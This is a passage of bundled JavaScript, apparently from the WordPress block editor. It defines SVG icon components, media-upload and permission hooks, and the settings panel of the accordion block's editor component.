  var import_jsx_runtime135 = __toESM(require_jsx_runtime(), 1);
  var tab_default = /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(import_primitives134.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime135.jsx)(import_primitives134.Path, { d: "M4 16.5h13V15H4v1.5ZM4 12v1.5h16V12H4Zm1.5-4.2c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5V7.8c0-1-.8-1.8-1.8-1.8H5.6c-1 0-1.8.8-1.8 1.8v2.5h1.5V7.8Z" }) });

  // packages/icons/build-module/library/table-column-after.mjs
  var import_primitives135 = __toESM(require_primitives(), 1);
  var import_jsx_runtime136 = __toESM(require_jsx_runtime(), 1);
  var table_column_after_default = /* @__PURE__ */ (0, import_jsx_runtime136.jsx)(import_primitives135.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime136.jsx)(import_primitives135.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm0-5.5h-4v-4h4v4Zm0-5.5h-4V5c0-.3.2-.5.5-.5h3.5v4Zm11 10.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14Zm-4-10.8H14v3h-3v1.5h3v3h1.5v-3h3v-1.5h-3v-3Z" }) });

  // packages/icons/build-module/library/table-column-before.mjs
  var import_primitives136 = __toESM(require_primitives(), 1);
  var import_jsx_runtime137 = __toESM(require_jsx_runtime(), 1);
  var table_column_before_default = /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(import_primitives136.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime137.jsx)(import_primitives136.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1 .8 1.9 1.8 2H19.2c.9-.1 1.7-.9 1.8-1.8V5c0-1.1-.9-2-2-2Zm-5 16.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h9v15Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19Zm0-5h-4v-4h4v4Zm0-5.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-11 7.3H10v-3h3v-1.5h-3v-3H8.5v3h-3v1.5h3v3Z" }) });

  // packages/icons/build-module/library/table-column-delete.mjs
  var import_primitives137 = __toESM(require_primitives(), 1);
  var import_jsx_runtime138 = __toESM(require_jsx_runtime(), 1);
  var table_column_delete_default = /* @__PURE__ */ (0, import_jsx_runtime138.jsx)(import_primitives137.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime138.jsx)(import_primitives137.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14.2c.1.9.9 1.7 1.8 1.8H19.2c1-.1 1.8-1 1.8-2V5c0-1.1-.9-2-2-2ZM8.5 19.5H5c-.3 0-.5-.2-.5-.5V5c0-.3.2-.5.5-.5h3.5v15Zm11-.5c0 .3-.2.5-.5.5h-9v-15h9c.3 0 .5.2.5.5v14ZM16.9 8.8l-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1L18 9.9l-1.1-1.1Z" }) });

  // packages/icons/build-module/library/table-of-contents.mjs
  var import_primitives138 = __toESM(require_primitives(), 1);
  var import_jsx_runtime139 = __toESM(require_jsx_runtime(), 1);
  var table_of_contents_default = /* @__PURE__ */ (0, import_jsx_runtime139.jsxs)(import_primitives138.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(import_primitives138.Path, { fillRule: "evenodd", clipRule: "evenodd", d: "M20 9.484h-8.889v-1.5H20v1.5Zm0 7h-4.889v-1.5H20v1.5Zm-14 .032a1 1 0 1 0 0-2 1 1 0 0 0 0 2Zm0 1a2 2 0 1 0 0-4 2 2 0 0 0 0 4Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime139.jsx)(import_primitives138.Path, { d: "M13 15.516a2 2 0 1 1-4 0 2 2 0 0 1 4 0ZM8 8.484a2 2 0 1 1-4 0 2 2 0 0 1 4 0Z" })
  ] });

  // packages/icons/build-module/library/table-row-after.mjs
  var import_primitives139 = __toESM(require_primitives(), 1);
  var import_jsx_runtime140 = __toESM(require_jsx_runtime(), 1);
  var table_row_after_default = /* @__PURE__ */ (0, import_jsx_runtime140.jsx)(import_primitives139.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime140.jsx)(import_primitives139.Path, { d: "M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm-9 1.5h4v4h-4v-4ZM4.5 5c0-.3.2-.5.5-.5h3.5v4h-4V5Zm15 14c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-4v-4H19c.3 0 .5.2.5.5v3.5Zm-8.3 10h1.5v-3h3V14h-3v-3h-1.5v3h-3v1.5h3v3Z" }) });

  // packages/icons/build-module/library/table-row-before.mjs
  var import_primitives140 = __toESM(require_primitives(), 1);
  var import_jsx_runtime141 = __toESM(require_jsx_runtime(), 1);
  var table_row_before_default = /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(import_primitives140.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime141.jsx)(import_primitives140.Path, { d: "M21 5c0-1.1-.9-2-2-2H5c-1 0-1.9.8-2 1.8V19.2c.1.9.9 1.7 1.8 1.8H19c1.1 0 2-.9 2-2V5ZM4.5 14V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v9h-15Zm4 5.5H5c-.3 0-.5-.2-.5-.5v-3.5h4v4Zm5.5 0h-4v-4h4v4Zm5.5-.5c0 .3-.2.5-.5.5h-3.5v-4h4V19ZM11.2 10h-3V8.5h3v-3h1.5v3h3V10h-3v3h-1.5v-3Z" }) });

  // packages/icons/build-module/library/table-row-delete.mjs
  var import_primitives141 = __toESM(require_primitives(), 1);
  var import_jsx_runtime142 = __toESM(require_jsx_runtime(), 1);
  var table_row_delete_default = /* @__PURE__ */ (0, import_jsx_runtime142.jsx)(import_primitives141.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime142.jsx)(import_primitives141.Path, { d: "M19 3H4.8c-.9.1-1.7.9-1.8 1.8V19.2c.1 1 1 1.8 2 1.8h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 16c0 .3-.2.5-.5.5H5c-.3 0-.5-.2-.5-.5v-9h15v9Zm0-10.5h-15V5c0-.3.2-.5.5-.5h14c.3 0 .5.2.5.5v3.5Zm-9.6 9.4 2.1-2.1 2.1 2.1 1.1-1.1-2.1-2.1 2.1-2.1-1.1-1.1-2.1 2.1-2.1-2.1-1.1 1.1 2.1 2.1-2.1 2.1 1.1 1.1Z" }) });

  // packages/icons/build-module/library/table.mjs
  var import_primitives142 = __toESM(require_primitives(), 1);
  var import_jsx_runtime143 = __toESM(require_jsx_runtime(), 1);
  var table_default = /* @__PURE__ */ (0, import_jsx_runtime143.jsx)(import_primitives142.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime143.jsx)(import_primitives142.Path, { d: "M19 3H5c-1.1 0-2 .9-2 2v14c0 1.1.9 2 2 2h14c1.1 0 2-.9 2-2V5c0-1.1-.9-2-2-2Zm.5 2v6.2h-6.8V4.4h6.2c.3 0 .5.2.5.5ZM5 4.5h6.2v6.8H4.4V5.1c0-.3.2-.5.5-.5ZM4.5 19v-6.2h6.8v6.8H5.1c-.3 0-.5-.2-.5-.5Zm14.5.5h-6.2v-6.8h6.8v6.2c0 .3-.2.5-.5.5Z" }) });

  // packages/icons/build-module/library/tabs-menu-item.mjs
  var import_primitives143 = __toESM(require_primitives(), 1);
  var import_jsx_runtime144 = __toESM(require_jsx_runtime(), 1);
  var tabs_menu_item_default = /* @__PURE__ */ (0, import_jsx_runtime144.jsx)(import_primitives143.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime144.jsx)(import_primitives143.Path, { d: "M14 11.25a.25.25 0 0 0-.25-.25h-3.5a.25.25 0 0 0-.25.25v2.5H8.5v-2.5c0-.966.784-1.75 1.75-1.75h3.5c.966 0 1.75.784 1.75 1.75v2.5H14v-2.5Z" }) });

  // packages/icons/build-module/library/tabs-menu.mjs
  var import_primitives144 = __toESM(require_primitives(), 1);
  var import_jsx_runtime145 = __toESM(require_jsx_runtime(), 1);
  var tabs_menu_default = /* @__PURE__ */ (0, import_jsx_runtime145.jsx)(import_primitives144.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime145.jsx)(import_primitives144.Path, { d: "M18.2 9.5h-3.5c-1 0-1.8.8-1.8 1.8v2.5h1.5v-2.5c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5v-2.5c0-1-.8-1.8-1.8-1.8Zm-9 0H5.7c-1 0-1.8.8-1.8 1.8v2.5h7v-2.5c0-1-.8-1.8-1.8-1.8Z" }) });

  // packages/icons/build-module/library/tabs.mjs
  var import_primitives145 = __toESM(require_primitives(), 1);
  var import_jsx_runtime146 = __toESM(require_jsx_runtime(), 1);
  var tabs_default = /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(import_primitives145.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime146.jsx)(import_primitives145.Path, { d: "M4 16.5h13V15H4v1.5Zm0-3h16V12H4v1.5ZM18.2 6h-3.5c-1 0-1.8.8-1.8 1.8v2.5h1.5V7.8c0-.1.1-.2.2-.2h3.5c.1 0 .2.1.2.2v2.5h1.5V7.8c0-1-.8-1.8-1.8-1.8ZM11 7.8c0-1-.8-1.8-1.8-1.8H5.7c-1 0-1.8.8-1.8 1.8v2.5h7V7.8Z" }) });

  // packages/icons/build-module/library/tag.mjs
  var import_primitives146 = __toESM(require_primitives(), 1);
  var import_jsx_runtime147 = __toESM(require_jsx_runtime(), 1);
  var tag_default = /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(import_primitives146.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime147.jsx)(import_primitives146.Path, { d: "M4.75 4a.75.75 0 0 0-.75.75v7.826c0 .2.08.39.22.53l6.72 6.716a2.313 2.313 0 0 0 3.276-.001l5.61-5.611-.531-.53.532.528a2.315 2.315 0 0 0 0-3.264L13.104 4.22a.75.75 0 0 0-.53-.22H4.75ZM19 12.576a.815.815 0 0 1-.236.574l-5.61 5.611a.814.814 0 0 1-1.153 0L5.5 12.264V5.5h6.763l6.5 6.502a.816.816 0 0 1 .237.574ZM8.75 9.75a1 1 0 1 0 0-2 1 1 0 0 0 0 2Z" }) });

  // packages/icons/build-module/library/term-count.mjs
  var import_primitives147 = __toESM(require_primitives(), 1);
  var import_jsx_runtime148 = __toESM(require_jsx_runtime(), 1);
  var term_count_default = /* @__PURE__ */ (0, import_jsx_runtime148.jsxs)(import_primitives147.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime148.jsx)(import_primitives147.Path, { d: "M 12.841306,16.677917 12.001264,12.71529 Q 11.835801,11.930402 11.695793,11.417042 11.560029,10.89944 11.398809,10.568514 11.237588,10.237588 11,10 10.635133,9.6351329 10.219354,9.6351329 9.8078183,9.6308902 9.4387086,10 8.9932313,10.445477 8.8574668,11.022476 8.7259449,11.595233 8.7259449,12.155262 L 7.4955791,11.196425 Q 7.5719467,10.509117 7.8307477,9.9109045 8.0937915,9.3084495 8.6410921,8.7611489 9.1799075,8.2223335 9.7569066,8.086569 q 0.5812414,-0.1400071 1.1242994,0.046669 0.543058,0.1866762 0.975808,0.6194255 0.335168,0.3351686 0.581242,0.767918 0.24183,0.4285067 0.436992,1.0564174 0.195161,0.619426 0.381837,1.527351 l 0.364867,1.756453 1.883733,-1.883732 1.018234,1.018233 z" }),
    /* @__PURE__ */ (0, import_jsx_runtime148.jsx)(import_primitives147.Path, { d: "M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z" })
  ] });

  // packages/icons/build-module/library/term-description.mjs
  var import_primitives148 = __toESM(require_primitives(), 1);
  var import_jsx_runtime149 = __toESM(require_jsx_runtime(), 1);
  var term_description_default = /* @__PURE__ */ (0, import_jsx_runtime149.jsx)(import_primitives148.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime149.jsx)(import_primitives148.Path, { d: "M6.08 10.103h2.914L9.657 12h1.417L8.23 4H6.846L4 12h1.417l.663-1.897Zm1.463-4.137.994 2.857h-2l1.006-2.857ZM11 16H4v-1.5h7V16Zm1 0h8v-1.5h-8V16Zm-4 4H4v-1.5h4V20Zm7-1.5V20H9v-1.5h6Z" }) });

  // packages/icons/build-module/library/term-name.mjs
  var import_primitives149 = __toESM(require_primitives(), 1);
  var import_jsx_runtime150 = __toESM(require_jsx_runtime(), 1);
  var term_name_default = /* @__PURE__ */ (0, import_jsx_runtime150.jsxs)(import_primitives149.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: [
    /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(import_primitives149.Path, { d: "m14.95 13.889-1.061 1.061-5.552-5.553 1.06-1.06 5.552 5.552Z" }),
    /* @__PURE__ */ (0, import_jsx_runtime150.jsx)(import_primitives149.Path, { d: "M12.574 4a.75.75 0 0 1 .53.22l6.723 6.724a2.315 2.315 0 0 1 0 3.264l-.532-.528.531.53-5.61 5.611a2.31 2.31 0 0 1-3.276.001l-6.72-6.716a.75.75 0 0 1-.22-.53V4.75A.75.75 0 0 1 4.75 4h7.824ZM5.5 5.5v6.764l6.501 6.497a.817.817 0 0 0 .889.178.816.816 0 0 0 .264-.178l5.61-5.61a.816.816 0 0 0-.001-1.149l-6.5-6.502H5.5Z" })
  ] });

  // packages/icons/build-module/library/time-to-read.mjs
  var import_primitives150 = __toESM(require_primitives(), 1);
  var import_jsx_runtime151 = __toESM(require_jsx_runtime(), 1);
  var time_to_read_default = /* @__PURE__ */ (0, import_jsx_runtime151.jsx)(import_primitives150.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime151.jsx)(import_primitives150.Path, { d: "M12 3c-5 0-9 4-9 9s4 9 9 9 9-4 9-9-4-9-9-9zm0 16.5c-4.1 0-7.5-3.4-7.5-7.5S7.9 4.5 12 4.5s7.5 3.4 7.5 7.5-3.4 7.5-7.5 7.5zM12 7l-1 5c0 .3.2.6.4.8l4.2 2.8-2.7-4.1L12 7z" }) });

  // packages/icons/build-module/library/title.mjs
  var import_primitives151 = __toESM(require_primitives(), 1);
  var import_jsx_runtime152 = __toESM(require_jsx_runtime(), 1);
  var title_default = /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(import_primitives151.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime152.jsx)(import_primitives151.Path, { d: "m4 5.5h2v6.5h1.5v-6.5h2v-1.5h-5.5zm16 10.5h-16v-1.5h16zm-7 4h-9v-1.5h9z" }) });

  // packages/icons/build-module/library/upload.mjs
  var import_primitives152 = __toESM(require_primitives(), 1);
  var import_jsx_runtime153 = __toESM(require_jsx_runtime(), 1);
  var upload_default = /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(import_primitives152.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime153.jsx)(import_primitives152.Path, { d: "M18.5 15v3.5H13V6.7l4.5 4.1 1-1.1-6.2-5.8-5.8 5.8 1 1.1 4-4v11.7h-6V15H4v5h16v-5z" }) });

  // packages/icons/build-module/library/verse.mjs
  var import_primitives153 = __toESM(require_primitives(), 1);
  var import_jsx_runtime154 = __toESM(require_jsx_runtime(), 1);
  var verse_default = /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(import_primitives153.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime154.jsx)(import_primitives153.Path, { d: "M17.8 2l-.9.3c-.1 0-3.6 1-5.2 2.1C10 5.5 9.3 6.5 8.9 7.1c-.6.9-1.7 4.7-1.7 6.3l-.9 2.3c-.2.4 0 .8.4 1 .1 0 .2.1.3.1.3 0 .6-.2.7-.5l.6-1.5c.3 0 .7-.1 1.2-.2.7-.1 1.4-.3 2.2-.5.8-.2 1.6-.5 2.4-.8.7-.3 1.4-.7 1.9-1.2s.8-1.2 1-1.9c.2-.7.3-1.6.4-2.4.1-.8.1-1.7.2-2.5 0-.8.1-1.5.2-2.1V2zm-1.9 5.6c-.1.8-.2 1.5-.3 2.1-.2.6-.4 1-.6 1.3-.3.3-.8.6-1.4.9-.7.3-1.4.5-2.2.8-.6.2-1.3.3-1.8.4L15 7.5c.3-.3.6-.7 1-1.1 0 .4 0 .8-.1 1.2zM6 20h8v-1.5H6V20z" }) });

  // packages/icons/build-module/library/video.mjs
  var import_primitives154 = __toESM(require_primitives(), 1);
  var import_jsx_runtime155 = __toESM(require_jsx_runtime(), 1);
  var video_default = /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(import_primitives154.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime155.jsx)(import_primitives154.Path, { d: "M18.7 3H5.3C4 3 3 4 3 5.3v13.4C3 20 4 21 5.3 21h13.4c1.3 0 2.3-1 2.3-2.3V5.3C21 4 20 3 18.7 3zm.8 15.7c0 .4-.4.8-.8.8H5.3c-.4 0-.8-.4-.8-.8V5.3c0-.4.4-.8.8-.8h13.4c.4 0 .8.4.8.8v13.4zM10 15l5-3-5-3v6z" }) });

  // packages/icons/build-module/library/word-count.mjs
  var import_primitives155 = __toESM(require_primitives(), 1);
  var import_jsx_runtime156 = __toESM(require_jsx_runtime(), 1);
  var word_count_default = /* @__PURE__ */ (0, import_jsx_runtime156.jsx)(import_primitives155.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0, import_jsx_runtime156.jsx)(import_primitives155.Path, { d: "M19 5c1.1 0 2 .9 2 2v10c0 1.1-.9 2-2 2H5c-1.1 0-2-.9-2-2V7c0-1.1.9-2 2-2zM5 6.5c-.3 0-.5.2-.5.5v10c0 .3.2.5.5.5h14c.3 0 .5-.2.5-.5V7c0-.3-.2-.5-.5-.5zM14.734 9q.714 0 1.15.253.437.247.639.84.2.591.2 1.61v1.15q0 .402.036.667.04.258.172.39.138.127.437.127h.104l-.162.828h-.08q-.5 0-.776-.097a.9.9 0 0 1-.414-.283 2 2 0 0 1-.259-.448q-.316.367-.748.598-.43.23-.977.23-.524 0-.914-.213a1.56 1.56 0 0 1-.61-.58 1.65 1.65 0 0 1-.213-.84q0-.477.207-.817.213-.345.564-.568.357-.23.794-.363.437-.139.902-.196.471-.062.902-.068 0-.805-.315-1.053-.316-.247-.915-.247-.316 0-.678.098-.356.097-.805.408l-.15-.84a2.8 2.8 0 0 1 .846-.419A3.4 3.4 0 0 1 14.734 9m-5.877 1.669H9.86l.59-1.531h.689l-.585 1.53h.898l-.249.727h-.922l-.337.866h1.019l-.354.773h-.962l-.681 1.804h-.701l.69-1.804h-.999l-.693 1.804h-.69l.685-1.804H6.3l.34-.773h.915l.333-.866h-.994l.244-.726H8.16l.594-1.531h.693zm6.832 1.264q-.823.029-1.335.16-.506.133-.74.397-.236.265-.236.685 0 .454.241.66.248.202.632.202.414 0 .8-.207.39-.207.637-.552zm-7.441.328h1l.34-.866h-1z" }) });

  // packages/block-library/build-module/accordion/edit.mjs
  var import_block_editor2 = __toESM(require_block_editor(), 1);
  var import_i18n = __toESM(require_i18n(), 1);
  var import_components = __toESM(require_components(), 1);
  var import_data2 = __toESM(require_data(), 1);
  var import_blocks = __toESM(require_blocks(), 1);

  // packages/block-library/build-module/utils/hooks.mjs
  var import_data = __toESM(require_data(), 1);
  var import_element2 = __toESM(require_element(), 1);
  var import_blob = __toESM(require_blob(), 1);
  var import_block_editor = __toESM(require_block_editor(), 1);
  var import_core_data = __toESM(require_core_data(), 1);
  var import_compose = __toESM(require_compose(), 1);
  function useCanEditEntity(kind, name123, recordId) {
    return (0, import_data.useSelect)(
      (select9) => select9(import_core_data.store).canUser("update", {
        kind,
        name: name123,
        id: recordId
      }),
      [kind, name123, recordId]
    );
  }
  function useUploadMediaFromBlobURL(args = {}) {
    const latestArgsRef = (0, import_element2.useRef)(args);
    const hasUploadStartedRef = (0, import_element2.useRef)(false);
    const { getSettings: getSettings2 } = (0, import_data.useSelect)(import_block_editor.store);
    (0, import_element2.useLayoutEffect)(() => {
      latestArgsRef.current = args;
    });
    (0, import_element2.useEffect)(() => {
      if (hasUploadStartedRef.current) {
        return;
      }
      if (!latestArgsRef.current.url || !(0, import_blob.isBlobURL)(latestArgsRef.current.url)) {
        return;
      }
      const file = (0, import_blob.getBlobByURL)(latestArgsRef.current.url);
      if (!file) {
        return;
      }
      const { url, allowedTypes, onChange, onError } = latestArgsRef.current;
      const { mediaUpload } = getSettings2();
      if (!mediaUpload) {
        return;
      }
      hasUploadStartedRef.current = true;
      mediaUpload({
        filesList: [file],
        allowedTypes,
        onFileChange: ([media]) => {
          if ((0, import_blob.isBlobURL)(media?.url)) {
            return;
          }
          (0, import_blob.revokeBlobURL)(url);
          onChange(media);
          hasUploadStartedRef.current = false;
        },
        onError: (message) => {
          (0, import_blob.revokeBlobURL)(url);
          onError(message);
          hasUploadStartedRef.current = false;
        }
      });
    }, [getSettings2]);
  }
  function useDefaultAvatar() {
    const avatarURL = (0, import_data.useSelect)((select9) => {
      const { getSettings: getSettings2 } = select9(import_block_editor.store);
      const { __experimentalDiscussionSettings } = getSettings2();
      return __experimentalDiscussionSettings?.avatarURL ?? "";
    }, []);
    return avatarURL;
  }
  function useToolsPanelDropdownMenuProps() {
    const isMobile = (0, import_compose.useViewportMatch)("medium", "<");
    return !isMobile ? {
      popoverProps: {
        placement: "left-start",
        // For non-mobile, inner sidebar width (248px) - button width (24px) - border (1px) + padding (16px) + spacing (20px)
        offset: 259
      }
    } : {};
  }

  // packages/block-library/build-module/accordion/edit.mjs
  var import_jsx_runtime157 = __toESM(require_jsx_runtime(), 1);
  var ACCORDION_BLOCK_NAME = "core/accordion-item";
  var ACCORDION_HEADING_BLOCK_NAME = "core/accordion-heading";
  var ACCORDION_BLOCK = {
    name: ACCORDION_BLOCK_NAME
  };
  function Edit({
    attributes: {
      autoclose,
      iconPosition,
      showIcon,
      headingLevel,
      levelOptions
    },
    clientId,
    setAttributes,
    isSelected: isSingleSelected
  }) {
    const registry = (0, import_data2.useRegistry)();
    const { getBlockOrder } = (0, import_data2.useSelect)(import_block_editor2.store);
    const blockProps = (0, import_block_editor2.useBlockProps)({
      role: "group"
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    const { updateBlockAttributes, insertBlock } = (0, import_data2.useDispatch)(import_block_editor2.store);
    const blockEditingMode = (0, import_block_editor2.useBlockEditingMode)();
    const isContentOnlyMode = blockEditingMode === "contentOnly";
    const innerBlocksProps = (0, import_block_editor2.useInnerBlocksProps)(blockProps, {
      template: [[ACCORDION_BLOCK_NAME]],
      defaultBlock: ACCORDION_BLOCK,
      directInsert: true,
      templateInsertUpdatesSelection: true
    });
    const addAccordionItemBlock = () => {
      const newAccordionItem = (0, import_blocks.createBlock)(ACCORDION_BLOCK_NAME, {}, [
        (0, import_blocks.createBlock)(ACCORDION_HEADING_BLOCK_NAME, {
          level: headingLevel
        }),
        (0, import_blocks.createBlock)("core/accordion-panel", {})
      ]);
      insertBlock(newAccordionItem, void 0, clientId);
    };
    const updateHeadingLevel = (newHeadingLevel) => {
      const innerBlockClientIds = getBlockOrder(clientId);
      const accordionHeaderClientIds = [];
      innerBlockClientIds.forEach((contentClientId) => {
        const headerClientIds = getBlockOrder(contentClientId);
        accordionHeaderClientIds.push(...headerClientIds);
      });
      registry.batch(() => {
        setAttributes({ headingLevel: newHeadingLevel });
        updateBlockAttributes(accordionHeaderClientIds, {
          level: newHeadingLevel
        });
      });
    };
    return /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(import_jsx_runtime157.Fragment, { children: [
      isSingleSelected && !isContentOnlyMode && /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(import_jsx_runtime157.Fragment, { children: [
        /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_block_editor2.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_components.ToolbarGroup, { children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
          import_block_editor2.HeadingLevelDropdown,
          {
            value: headingLevel,
            options: levelOptions,
            onChange: updateHeadingLevel
          }
        ) }) }),
        /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_block_editor2.BlockControls, { group: "other", children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_components.ToolbarButton, { onClick: addAccordionItemBlock, children: (0, import_i18n.__)("Add item") }) })
      ] }),
      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(import_block_editor2.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(
        import_components.__experimentalToolsPanel,
        {
          label: (0, import_i18n.__)("Settings"),
          resetAll: () => {
            setAttributes({
              autoclose: false,
              showIcon: true,
              iconPosition: "right"
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
              import_components.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n.__)("Auto-close"),
                isShownByDefault: true,
                hasValue: () => !!autoclose,
                onDeselect: () => setAttributes({ autoclose: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                  import_components.ToggleControl,
                  {
                    isBlock: true,
                    label: (0, import_i18n.__)("Auto-close"),
                    onChange: (value) => {
                      setAttributes({
                        autoclose: value
                      });
                    },
                    checked: autoclose,
                    help: (0, import_i18n.__)(
                      "Automatically close accordions when a new one is opened."
                    )
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
              import_components.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n.__)("Show icon"),
                isShownByDefault: true,
                hasValue: () => !showIcon,
                onDeselect: () => setAttributes({ showIcon: true }),
                children: /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                  import_components.ToggleControl,
                  {
                    isBlock: true,
                    label: (0, import_i18n.__)("Show icon"),
                    onChange: (value) => {
                      setAttributes({
                        showIcon: value,
                        iconPosition: value ? iconPosition : "right"
                      });
                    },
                    checked: showIcon,
                    help: (0, import_i18n.__)(
                      "Display a plus icon next to the accordion header."
                    )
                  }
                )
              }
            ),
            showIcon && /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
              import_components.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n.__)("Icon Position"),
                isShownByDefault: true,
                hasValue: () => iconPosition !== "right",
                onDeselect: () => setAttributes({ iconPosition: "right" }),
                children: /* @__PURE__ */ (0, import_jsx_runtime157.jsxs)(
                  import_components.__experimentalToggleGroupControl,
                  {
                    __next40pxDefaultSize: true,
                    isBlock: true,
                    label: (0, import_i18n.__)("Icon Position"),
                    value: iconPosition,
                    onChange: (value) => {
                      setAttributes({ iconPosition: value });
                    },
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                        import_components.__experimentalToggleGroupControlOption,
                        {
                          label: (0, import_i18n.__)("Left"),
                          value: "left"
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)(
                        import_components.__experimentalToggleGroupControlOption,
                        {
                          label: (0, import_i18n.__)("Right"),
                          value: "right"
                        }
                      )
                    ]
                  }
                )
              }
            )
          ]
        }
      ) }, "setting"),
      /* @__PURE__ */ (0, import_jsx_runtime157.jsx)("div", { ...innerBlocksProps })
    ] });
  }

  // packages/block-library/build-module/accordion/save.mjs
  var import_block_editor3 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime158 = __toESM(require_jsx_runtime(), 1);
  function save() {
    const blockProps = import_block_editor3.useBlockProps.save({
      role: "group"
    });
